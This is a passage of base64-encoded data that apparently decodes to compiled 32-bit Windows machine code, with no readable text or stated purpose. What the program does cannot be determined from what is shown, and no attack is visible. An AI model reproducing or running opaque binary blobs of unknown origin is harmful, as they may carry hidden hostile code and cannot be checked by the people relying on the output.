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ItGBIsO/3Xs/3XsUFHoowAAAIPEEINN/P+LRgSLDivBmWocX/f/i/iFyXQS6wODwRw7TgR1+P826PlwAQBZa9sci0XsA9iJXghr/xwD+Il+BIkG6DCnAQDD/3Xs6NVwAQBZagBqAOhOogEAzFWL7IPsEDPAhcl0O4H5SZIkCXcOa8kcUehWcQEAWYXAdSWDZfwAjUX8UI1N8OgJawEAaCTFBBCNRfBQx0XwZOQDEOgGogEAycNqBLjJyAMQ6FumAQCLRRCDZfwAi00IO00MdBqFwHQKagdZi3UIi/jzpYPAHIlFEINFCBzr3oNN/P/olaYBAMNqAGoA6LyhAQDMg3gUCHICiwBXUOg9gAEAWYv4V/8VOOMDEFeJBugMcAEAgz4AWQ+VwF/DVYvsg+xAodAGBRAzxYlF/ItFCFZXM/87xw+UwcZF1wCJfcSJfdCEyXQHiX3QisHrCI110Oid////hMAPhPUAAACNRcRQjUXAUGoBV/910P8VMOMDEIXAD5VF14B91wAPhMMAAACJfcw5fcQPhq4AAACJfciLRcADRciNdeCLCIlN2ItICIlN3P9wBOh/QP//i0sEjUXYO8FzOIsTO9B3MivCaiSZXvf+i/A7Swh1B4vL6EW+//+LQwRr9iQDMzvHdDqLDokIi04Eg8YIiUgEVusiO0sIdQeLy+gdvv//i0MEO8d0F4tN2IkIi03ciUgEjU3gUY1wCOjIeP//g0MEJGoBM/+NdeDoNEr///9FzItFzINFyAw7RcQPglX/////dcD/FTTjAxA5fdB0Cf910P8VPOMDEItN/IpF118zzV7oUGgBAMnDVYvsgey8AAAAodAGBRAzxYlF+ItFCFZXM/87xw+UwYmFRP///8aFX////wCJvVD///+JvVT///+EyXQKib1U////isHrC421VP///+g+/v//hMAPhCECAACNhVD///9QjYVY////UGoBV/+1VP////8VLOMDEIXAD5WFX////4C9X////wAPhNoBAACJvUz///85vVD///8PhrwBAACJvUj////rBou9SP///4uFWP///4sMOIlNtItMOASJTbj/dDgIjXW86P0+//9qB1iJReyJRZCJRawzwGaJRZiNRZhQjYV8////UIuFWP///zP2M8mJdehmiU3YiXWMZomNfP///4l1qP90BwyLhUT////otcj//4PEDITAdCtq/1aNRZiNTdjoukf//41F2Oi9yv//Vo2FfP///1CDyP+Nddjo7Jj//+thjUXYUIuFWP////90BwzoPMj//1lZhMB1V4uFWP///zl0BwyNRdh0PWgkLwQQUOhwPv//Vo2FYP///2oBUOiy0f//g8QMVlCDyP+NddjomJj//2oBM/+NtWD////oUUj//zP26wtoQC8EEFDoMz7//4tDBI1NtDvIcy6LC41VtDvKdyWL+iv5wf8GO0MIdQeL0+ixAAAAi0sEO850JovHweAGAwOL+esWO0MIdQeL0+iTAAAAi3sEO/50CI1FtOimAQAAg0MEQGoBM/+NdZjo30f//2oBjbV8////6NJH//9qAY112OjIR///agGNdbzovkf///+FTP///4uFTP///4OFSP///xA7hVD///8Pgkz+////tVj/////FTTjAxA5vVT///90DP+1VP////8VPOMDEItN+IqFX////18zzV7owmUBAMnDiwpWi3IEK/HB/gaB/v7//wN2CmgoFwQQ6PJJAQCLQggrwUbB+AY78HYlV4vI0em/////Ayv5O/hfcwQzwOsCA8E7xnMCi8aLyF7pAgAAAF7Dagi4X8wDEOjCoQEAi9mL8oH7////A3YKaCgXBBDonEkBAItGCCsGwfgGO8NzVejavv//iUXsg2X8AItGBIsO/3Xs/3XsUFHosAAAAIPEEINN/P+LTgSLBov5K/iFwHQOUeg2AAAA/zboe2sBAFnB4waLRewD2IleCIPnwAP4iX4EiQbosqEBAMP/dezoV2sBAFlqAGoA6NCcAQDMVYvsO0UIdClTVleNWAhqAY1zHDP/6GRG//9qAYvz6FtG//+Dw0CNQ/g7RQh14F9eW13CBABTi9iLA4kHi0MEVolHBI1DCFCNdwjos3T//4PDJFONdyTop3T//16Lx1vDagi4RMwDEOjGoAEAi30QiX3sg2X8AItFCDtFDHQVhf90Beiu////g8dAiX0Qg0UIQOvjg038/4vH6AChAQDDi0XsO0UQdCONWAhqAY1zHDP/6MhF//9qAYvz6L9F//+Dw0CNQ/g7RRB14GoAagDo/JsBAMxVi+yD7BCDZfwAV4t9CI1F/FBX/xUU4wMQhcB0KItNDIsRVot1/IXSdAQ78nUWU4tZBIlF+I1F8Il98Il19OgKAAAAW14zwEBfy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4PsHIv0aDwyBBDolDD//42daP///+h3/P//i7Vk////6PUOAADoZQIAAIPsEIv8g+wcM8CL9GhgaAQQiQeJRwSJRwjoWzD//4PsHIv0aKRRBBDoTDD//2jIaQEQjV286EsZAACL9+jJNwAA6JoSAACD7ByL9GhMMgQQ6CQw//+D7ByL9GiEMgQQ6BUw//+NnWj////o+Pv//4u1ZP///+h2DgAA6OYBAACD7BCL/Og3fgAAg+wci/RonDIEEOjhL///g+wci/Ro0DIEEOjSL///jZ1o////6LX7//+LtWT////oMw4AAOijAQAAg+wQi/zo6qcAAIPsHIv0aNwyBBDoni///4PsHIv0aPQyBBDojy///42daP///+hy+///i7Vk////6PANAADoYAEAAIPsEIv86FVvAACD7ByL9GgEMwQQ6Fsv//+D7ByL9Gg0MwQQ6Ewv//+NnWj////oL/v//4u1ZP///+itDQAA6B0BAACD7BCL/OiPAwEAg+wci/RoRDMEEOgYL///g+wci/RoZDMEEOgJL///jZ1o////6Oz6//+LtWT////oag0AAOjaAAAAg+wQi/zoXzgAAIPsHIv0aHAzBBDo1S7//4PsHIv0aBw0BBDoxi7//42daP///+ip+v//i7Vk////6CcNAADolwAAAIPsEIv86G3dAACD7ByL9GgwNAQQ6JIu//+D7ByL9GiQNAQQ6IMu//+NnWj////oZvr//4u1ZP///+jkDAAA6FQAAACD7BCL/OigRgAAg+wci/RopDQEEOhPLv//g+wci/RoyDQEEOhALv//jZ1o////6CP6//+LtWT////ooQwAAOgRAAAAi038X14zzbABW+icVgEAycNWV41zOOiWDQAAagGNcxwz/+gvOP//agGL8+gmOP//X17DVYvsg+T4g+wwodAGBRAzxIlEJCwzwFbHA6A5BBBXi/mJQwSJQwiJQwyLy4l8JBSJQxTo9/n//77QNAQQVv8VGOIDEGhQNQQQUWhcNQQQUWogUWhoNQQQUWh0NQQQUVb/NYgaBRDoCVb//4PEDFDoAFb//4PEDFDoiWn//4PEDFDog8f//4PEDFDod2n//4PEDFDo3FX//1lZi/BW6EuS///oiSr//2gANQQQVujCVf//WVmL8FboMZL//+hvKv//xkQkDwGF/w+EwwAAAIsHiUQkEOsIi3wkFItEJBA7RwQPhJ8AAABQjXQkHOi3Zf//oYgaBRBQi/Do75H//+gtKv//aKg1BBBRaMw1BBBW6GBV//+DxAxQ6FdV//9ZWYXAdQQzyesHiwiLSQQDyItRFIHi//P//4HKAAIAAIlRFI1MJBhRUOhYkv//WVmL8FbomJH//+jWKf//jUQkGFBT6FkBAABqATP/jXQkHIhEJBPorjb//4NEJBAcgHwkDwAPhVD///+AfCQPAA+ExAAAAGoc6ANcAQBZhcB0FoNgEAAzycdAFAcAAABmiQiJRCQQ6wWDZCQQAL8gIQUQoYgaBRBQi/DoI5H//+hhKf//aOA1BBBRaMw1BBBW6JRU//+DxAxQ6ItU//9ZWYXAdQQzyesHiwiLSQQDyItBFCX/8///DQACAACJQRShICEFEItIBGoKA8/oW07//w+3wFD/dCQUV+hHiP//g8QM/3QkEFPoiAAAAITAdYODfCQQAHQUi3QkEGoBM//o1jX//1bonloBAFm+ECAFEOjRKP//i0wkNF9eM8yLw+gLVAEAi+Vdw1WL7FaL8egUAAAA9kUIAXQHVuhpWgEAWYvGXl3CBACh/C8FEFaL8ccGoDkEEIXAdAdQ/xWA4QMQ6F3dAADo9HEAAIPGBOj3CQAAXsNVi+yB7LwAAACh0AYFEDPFiUX8i0UIU1ZXiYVo////i0UMM/85eBCJhVT///8PlMOE2w+FZgEAAIN4FAhyBIsI6wKLyA+3CYP5IQ+EKQEAAIP5Kg+ECgEAAIP5QA+EAQEAAFCNdeDof2P//2oBjYVs////UIvGib1Y////ib1c////ib1g////x4Vs////IAAAAOiOCQAAiYVs////g/j/D4SWAAAAUIvGV1CNtXD////ojIL//4vYjUXg6OM///9qATP/6J00//+LhWz///9q/0BQ/7VU////jXWM6GGC//9QjY1E////6DqA//+L+I2FWP///1k7x3Qri/DoO4T//4sHiYVY////i0cEiYVc////i0cIiYVg////M8CJB4lHBIlHCI21RP///+gMhP//agEz/411jOgqNP//i41o////jYVY////UI1V4OhgAAAAjbVY////itjo3oP//4114Osyav9qAVCNdajo0oH//4vI6MMEAADrGmr/agFQjXXE6LyB//+LjWj///+L0OgMAwAAithqATP/6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